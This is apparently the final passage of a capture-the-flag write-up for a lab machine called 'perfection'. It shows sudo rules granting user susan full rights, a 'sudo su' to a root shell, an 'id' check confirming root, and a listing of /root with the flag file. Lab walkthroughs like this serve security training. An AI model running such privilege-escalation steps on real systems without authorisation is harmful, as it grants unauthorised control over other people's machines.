User susan may run the following commands on perfection:
    (ALL : ALL) ALL
```

Lets get root i guess

```
sudo su

root@perfection:/home/susan# id
uid=0(root) gid=0(root) groups=0(root)
```

Here is your root.txt

```
root@perfection:/home/susan# ls -al /root
total 32
drwx----- 4 root root 4096 Oct  2  06:58 .
drwxr-xr-x 18 root root 4096 Oct 27  2023 ..
lrwxrwxrwx  1 root root    9 Feb 27  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx----- 2 root root 4096 Feb 26  2024 .cache
drwxr-xr-x  3 root root 4096 Feb 27  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
lrwxrwxrwx  1 root root    9 Feb 27  2023 .python_history -> /dev/null
-rw-r----- 1 root root   33 Oct  2  06:58 root.txt
-rw-r--r--  1 root root   39 Oct 17  2023 .vimrc
root@perfection:/home/susan#
```

Thanks for reading :)